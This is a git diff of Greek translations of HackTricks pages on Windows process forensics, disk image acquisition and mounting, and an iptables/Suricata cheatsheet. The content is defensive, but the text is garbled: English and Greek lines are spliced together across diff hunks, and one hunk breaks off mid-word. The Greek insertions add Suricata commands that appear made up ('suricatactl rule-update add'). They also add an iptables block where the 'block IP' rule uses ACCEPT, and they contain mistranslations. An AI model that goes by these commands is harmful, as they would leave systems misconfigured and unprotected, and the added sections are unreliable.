**Διαχειριστής Συνεδρίας**.\
|
||||
Η Συνεδρία 0 ξεκινά τα **csrss.exe** και **wininit.exe** (**υπηρεσίες** **ΛΣ**) ενώ η Συνεδρία 1 ξεκινά τα **csrss.exe** και **winlogon.exe** (**συνεδρία** **χρήστη**). Ωστόσο, θα πρέπει να δείτε **μόνο ένα διεργασία** αυτού του **δυαδικού** χωρίς παιδιά στο δέντρο διεργασιών.
|
||||
|
||||
Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring.
|
||||
Επίσης, οι συνεδρίες εκτός από την 0 και την 1 μπορεί να σημαίνουν ότι συμβαίνουν συνεδρίες RDP.
|
||||
|
||||
|
||||
## csrss.exe
|
||||
|
||||
**Client/Server Run Subsystem Process**.\
|
||||
It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**.
|
||||
**Διαδικασία Υποσυστήματος Εκτέλεσης Πελάτη/Διακομιστή**.\
|
||||
Διαχειρίζεται **διεργασίες** και **νήματα**, καθιστά το **API των Windows** διαθέσιμο για άλλες διεργασίες και επίσης **αντιστοιχίζει γράμματα μονάδων δίσκου**, δημιουργεί **προσωρινά αρχεία** και χειρίζεται τη διαδικασία **απενεργοποίησης**.
|
||||
|
||||
There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**.
|
||||
Υπάρχει ένα **τρέχον στη Συνεδρία 0 και ένα ακόμα στη Συνεδρία 1** (έτσι **2 διεργασίες** στο δέντρο διεργασιών). Μια ακόμα δημιουργείται **ανά νέα Συνεδρία**.
|
||||
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Windows Logon Process**.\
|
||||
It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them.
|
||||
**Διαδικασία Σύνδεσης των Windows**.\
|
||||
Είναι υπεύθυνη για τις ενέργειες **σύνδεσης**/**αποσύνδεσης** του χρήστη. Ξεκινά το **logonui.exe** για να ζητήσει όνομα χρήστη και κωδικό πρόσβασης και στη συνέχεια καλεί το **lsass.exe** για να τα επαληθεύσει.
|
||||
|
||||
Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**.
|
||||
Στη συνέχεια, ξεκινά το **userinit.exe** που καθορίζεται στο **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** με το κλειδί **Userinit**.
|
||||
|
||||
Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**.
|
||||
Επιπλέον, το προηγούμενο μητρώο θα πρέπει να έχει το **explorer.exe** στο κλειδί **Shell** ή μπορεί να καταχραστεί ως μέθοδος **μόνιμης ύπαρξης κακόβουλου λογισμικού**.
|
||||
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Windows Initialization Process**. \
|
||||
It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process.
|
||||
**Διαδικασία Αρχικοποίησης των Windows**. \
|
||||
Ξεκινά τις διεργασίες **services.exe**, **lsass.exe** και **lsm.exe** στη Συνεδρία 0. Θα πρέπει να υπάρχει μόνο 1 διεργασία.
|
||||
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Userinit Logon Application**.\
|
||||
Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**.
|
||||
**Εφαρμογή Σύνδεσης του Χρήστη**.\
|
||||
Φορτώνει το **ntuser.dat στο HKCU** και αρχικοποιεί το **περιβάλλον** **χρήστη** και εκτελεί **σενάρια σύνδεσης** και **GPO**.
|
||||
|
||||
It launches **explorer.exe**.
|
||||
Ξεκινά το **explorer.exe**.
|
||||
|
||||
|
||||
## lsm.exe
|
||||
|
||||
**Local Session Manager**.\
|
||||
It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc.
|
||||
|
||||
After W7 lsm.exe was transformed into a service (lsm.dll).
|
||||
|
||||
There should only be 1 process in W7 and from them a service running the DLL.
|
||||
|
||||
|
||||
## services.exe
|
||||
|
||||
**Service Control Manager**.\
|
||||
It **loads** **services** configured as **auto-start** and **drivers**.
|
||||
|
||||
It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more.
|
||||
|
||||
Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe.
|
||||
|
||||
Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**.
|
||||
|
||||
There should only be 1 process.
|
||||
|
||||
|
||||
## lsass.exe
|
||||
|
||||
**Local Security Authority Subsystem**.\
|
||||
It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||
|
||||
It writes to the **Security** **event** **log** and there should only be 1 process.
|
||||
|
||||
Keep in mind that this process is highly attacked to dump passwords.
|
||||
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**Generic Service Host Process**.\
|
||||
It hosts multiple DLL services in one shared process.
|
||||
|
||||
Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process.
|
||||
|
||||
For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument.
|
||||
|
||||
There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious.
|
||||
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs.
|
||||
|
||||
In W8 this is called taskhostex.exe and in W10 taskhostw.exe.
|
||||
|
||||
|
||||
## explorer.exe
|
||||
|
||||
This is the process responsible for the **user's desktop** and launching files via file extensions.
|
||||
|
||||
**Only 1** process should be spawned **per logged on user.**
|
||||
|
||||
This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process.
|
||||
|
||||
|
||||
# Catching Malicious Processes
|
||||
|
||||
* Is it running from the expected path? (No Windows binaries run from temp location)
|
||||
* Is it communicating with weird IPs?
|
||||
* Check digital signatures (Microsoft artifacts should be signed)
|
||||
* Is it spelled correctly?
|
||||
* Is running under the expected SID?
|
||||
* Is the parent process the expected one (if any)?
|
||||
* Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Τοπικός Διαχειριστής Συνεδρίας**.\
|
||||
Συνεργάζεται με το smss.exe για την επεξεργασία των συνεδριών χρήστη: Σύνδεση/αποσ
|
||||
|
|
|
@ -1,46 +1,41 @@
|
|||
# Image Acquisition & Mount
|
||||
# Απόκτηση Εικόνας & Προσάρτηση
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Acquisition
|
||||
## Απόκτηση
|
||||
|
||||
### DD
|
||||
|
||||
```bash
|
||||
#This will generate a raw copy of the disk
|
||||
dd if=/dev/sdb of=disk.img
|
||||
```
|
||||
|
||||
### dcfldd
|
||||
|
||||
Το **dcfldd** είναι ένα εργαλείο που χρησιμοποιείται για την αντιγραφή εικόνων δίσκου. Αυτό το εργαλείο είναι μια εναλλακτική λύση στο dd, μερικές φορές προτιμάται για την ακρίβεια της αντιγραφής. Οι εντολές και οι παράμετροι του dcfldd είναι παρόμοιες με αυτές του dd, μερικές φορές με μερικές επιπλέον δυνατότητες. Μπορεί να χρησιμοποιηθεί για την αντιγραφή εικόνων δίσκου, την αντιγραφή μόνο των μηχανικών τμημάτων ενός δίσκου, την αντιγραφή με συμπίεση και πολλά άλλα.
|
||||
```bash
|
||||
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
|
||||
### FTK Imager
|
||||
|
||||
You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
|
||||
Μπορείτε να [**κατεβάσετε το FTK imager από εδώ**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
|
||||
### EWF
|
||||
|
||||
You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf).
|
||||
|
||||
Μπορείτε να δημιουργήσετε μια εικόνα δίσκου χρησιμοποιώντας τα [**εργαλεία ewf**](https://github.com/libyal/libewf).
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
|
@ -57,52 +52,54 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Τοποθέτηση
|
||||
|
||||
## Mount
|
||||
### Πολλαπλοί τύποι
|
||||
|
||||
### Several types
|
||||
|
||||
In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**.
|
||||
Στα **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε τη δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για να **τοποθετήσετε την εικόνα ανάκτησης**.
|
||||
|
||||
### Raw
|
||||
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.img
|
||||
file evidence.img
|
||||
evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Mount it
|
||||
mount evidence.img /mnt
|
||||
```
|
||||
|
||||
### EWF
|
||||
|
||||
Το EWF (EnCase Evidence File) είναι ένα αρχείο εικόνας που χρησιμοποιείται από το λογισμικό EnCase για την αποθήκευση αντιγράφων ασφαλείας των αποδεικτικών στοιχείων. Το EWF αποτελείται από έναν κύριο αρχείο (.E01) και πολλά επιπλέον αρχεία (.EX01) που περιέχουν τα δεδομένα της εικόνας.
|
||||
|
||||
Για να αποκτήσετε μια εικόνα EWF, μπορείτε να χρησιμοποιήσετε το λογισμικό EnCase ή άλλα εργαλεία όπως το FTK Imager. Αυτά τα εργαλεία σάς επιτρέπουν να αποκτήσετε μια ακριβή αντιγραφή του περιεχομένου του σκληρού δίσκου ή του μέσου αποθήκευσης και να το αποθηκεύσετε σε ένα αρχείο EWF.
|
||||
|
||||
Για να προσπελάσετε τα δεδομένα μιας εικόνας EWF, πρέπει να την προσαρτήσετε σε έναν εικονικό δίσκο. Αυτό μπορεί να γίνει χρησιμοποιώντας το εργαλείο ewfmount ή άλλα εργαλεία που υποστηρίζουν το EWF format. Μετά την προσάρτηση, μπορείτε να εξερευνήσετε τα δεδομένα της εικόνας όπως θα κάνατε με έναν συνηθισμένο δίσκο.
|
||||
|
||||
Η απόκτηση και η προσάρτηση εικόνων EWF είναι σημαντικά εργαλεία στην ψηφιακή διαφθορά και την ανάκτηση αποδεικτικών στοιχείων. Με τη χρήση αυτών των μεθόδων, μπορείτε να διερευνήσετε και να ανακτήσετε σημαντικά δεδομένα από εικόνες EWF.
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
file evidence.E01
|
||||
evidence.E01: EWF/Expert Witness/EnCase image file format
|
||||
|
||||
#Transform to raw
|
||||
mkdir output
|
||||
ewfmount evidence.E01 output/
|
||||
file output/ewf1
|
||||
file output/ewf1
|
||||
output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Mount
|
||||
mount output/ewf1 -o ro,norecovery /mnt
|
||||
```
|
||||
|
||||
### ArsenalImageMounter
|
||||
|
||||
It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
Είναι μια εφαρμογή για τα Windows που χρησιμοποιείται για την προσάρτηση τόμων. Μπορείτε να την κατεβάσετε από εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
|
||||
### Errors
|
||||
|
||||
* **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`**
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector:
|
||||
### Σφάλματα
|
||||
|
||||
* **`cannot mount /dev/loop0 read-only`** σε αυτήν την περίπτωση χρειάζεται να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`**
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτήν την περίπτωση η προσάρτηση απέτυχε επειδή η μετατόπιση του συστήματος αρχείων είναι διαφορετική από αυτήν της εικόνας του δίσκου. Πρέπει να βρείτε το μέγεθος του τομέα (Sector size) και τον αρχικό τομέα (Start sector):
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
|
@ -113,21 +110,18 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
|
||||
Note that sector size is **512** and start is **2048**. Then mount the image like this:
|
||||
|
||||
Σημειώστε ότι το μέγεθος του τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια, τοποθετήστε την εικόνα ως εξής:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,29 +1,28 @@
|
|||
# Suricata & Iptables cheatsheet
|
||||
# Οδηγός αναφοράς για Suricata & Iptables
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Iptables
|
||||
|
||||
### Chains
|
||||
### Αλυσίδες
|
||||
|
||||
In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities.
|
||||
Στο iptables, λίστες κανόνων γνωστές ως αλυσίδες επεξεργάζονται σειριακά. Ανάμεσα σε αυτές, τρεις κύριες αλυσίδες είναι παντού παρόντες, με επιπλέον αλυσίδες όπως η NAT να υποστηρίζονται ανάλογα με τις δυνατότητες του συστήματος.
|
||||
|
||||
- **Input Chain**: Utilized for managing the behavior of incoming connections.
|
||||
- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities.
|
||||
- **Output Chain**: Dedicated to the regulation of outgoing connections.
|
||||
|
||||
These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system.
|
||||
- **Αλυσίδα Εισόδου (Input Chain)**: Χρησιμοποιείται για τη διαχείριση της συμπεριφοράς των εισερχόμενων συνδέσεων.
|
||||
- **Αλυσίδα Διαμετακόμισης (Forward Chain)**: Χρησιμοποιείται για την χειρισμό των εισερχόμενων συνδέσεων που δεν προορίζονται για το τοπικό σύστημα. Αυτό είναι τυπικό για συσκευές που λειτουργούν ως δρομολογητές, όπου τα δεδομένα που λαμβάνονται προορίζονται να προωθηθούν σε άλλο προορισμό. Αυτή η αλυσίδα είναι σημαντική κυρίως όταν το σύστημα εμπλέκεται σε δρομολόγηση, NATing ή παρόμοιες δραστηριότητες.
|
||||
- **Αλυσίδα Εξόδου (Output Chain)**: Αφιερώνεται στον έλεγχο των εξερχόμενων συνδέσεων.
|
||||
|
||||
Αυτές οι αλυσίδες εξασφαλίζουν την τακτοποιημένη επεξεργασία της δικτυακής κίνησης, επιτρέποντας τον καθορισμό λεπτομερών κανόνων που διέπουν τη ροή δεδομένων εισόδου, διέλευσης και εξόδου από ένα σύστημα.
|
||||
```bash
|
||||
# Delete all rules
|
||||
iptables -F
|
||||
|
@ -60,11 +59,55 @@ iptables-save > /etc/sysconfig/iptables
|
|||
ip6tables-save > /etc/sysconfig/ip6tables
|
||||
iptables-restore < /etc/sysconfig/iptables
|
||||
```
|
||||
|
||||
## Suricata
|
||||
|
||||
### Install & Config
|
||||
### Εγκατάσταση & Ρύθμιση
|
||||
|
||||
```bash
|
||||
# Εγκατάσταση Suricata
|
||||
sudo apt-get install suricata
|
||||
|
||||
# Ρύθμιση αρχείου ρυθμίσεων
|
||||
sudo nano /etc/suricata/suricata.yaml
|
||||
|
||||
# Ρύθμιση κανόνων
|
||||
sudo nano /etc/suricata/rules/suricata.rules
|
||||
|
||||
# Εκκίνηση Suricata
|
||||
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
|
||||
```
|
||||
|
||||
### Επιθέσεις & Αποκλεισμός IP
|
||||
|
||||
```bash
|
||||
# Προσθήκη κανόνα στο Suricata
|
||||
sudo suricatactl rule-update add "alert tcp any any -> any any (msg:\"Possible attack\"; sid:1000001; rev:1;)"
|
||||
|
||||
# Επαναφόρτωση κανόνων
|
||||
sudo suricatactl rule-update
|
||||
|
||||
# Επιθέσεις από IP
|
||||
sudo iptables -A INPUT -s <IP_ADDRESS> -j DROP
|
||||
|
||||
# Αποκλεισμός IP
|
||||
sudo iptables -A INPUT -s <IP_ADDRESS> -j ACCEPT
|
||||
```
|
||||
|
||||
### Επιθέσεις & Αποκλεισμός Πόρων
|
||||
|
||||
```bash
|
||||
# Προσθήκη κανόνα στο Suricata
|
||||
sudo suricatactl rule-update add "alert tcp any any -> any any (msg:\"Possible attack\"; sid:1000001; rev:1;)"
|
||||
|
||||
# Επαναφόρτωση κανόνων
|
||||
sudo suricatactl rule-update
|
||||
|
||||
# Αποκλεισμός πόρων
|
||||
sudo iptables -A INPUT -p tcp --dport <PORT_NUMBER> -j DROP
|
||||
|
||||
# Αποκλεισμός πόρων με εξαίρεση IP
|
||||
sudo iptables -A INPUT -p tcp --dport <PORT_NUMBER> -s <IP_ADDRESS> -j ACCEPT
|
||||
```
|
||||
```bash
|
||||
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
|
||||
# Ubuntu
|
||||
|
@ -74,7 +117,7 @@ apt-get install suricata
|
|||
|
||||
# Debian
|
||||
echo "deb http://http.debian.net/debian buster-backports main" > \
|
||||
/etc/apt/sources.list.d/backports.list
|
||||
/etc/apt/sources.list.d/backports.list
|
||||
apt-get update
|
||||
apt-get install suricata -t buster-backports
|
||||
|
||||
|
@ -90,11 +133,11 @@ suricata-update
|
|||
## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml
|
||||
default-rule-path: /var/lib/suricata/rules
|
||||
rule-files:
|
||||
- suricata.rules
|
||||
- suricata.rules
|
||||
|
||||
# Run
|
||||
## Add rules in /etc/suricata/rules/suricata.rules
|
||||
systemctl suricata start
|
||||
systemctl suricata start
|
||||
suricata -c /etc/suricata/suricata.yaml -i eth0
|
||||
|
||||
|
||||
|
@ -102,7 +145,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0
|
|||
suricatasc -c ruleset-reload-nonblocking
|
||||
## or set the follogin in /etc/suricata/suricata.yaml
|
||||
detect-engine:
|
||||
- rule-reload: true
|
||||
- rule-reload: true
|
||||
|
||||
# Validate suricata config
|
||||
suricata -T -c /etc/suricata/suricata.yaml -v
|
||||
|
@ -111,8 +154,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v
|
|||
## Config drop to generate alerts
|
||||
## Search for the following lines in /etc/suricata/suricata.yaml and remove comments:
|
||||
- drop:
|
||||
alerts: yes
|
||||
flows: all
|
||||
alerts: yes
|
||||
flows: all
|
||||
|
||||
## Forward all packages to the queue where suricata can act as IPS
|
||||
iptables -I INPUT -j NFQUEUE
|
||||
|
@ -130,76 +173,70 @@ Type=simple
|
|||
|
||||
systemctl daemon-reload
|
||||
```
|
||||
### Ορισμοί Κανόνων
|
||||
|
||||
### Rules Definitions
|
||||
|
||||
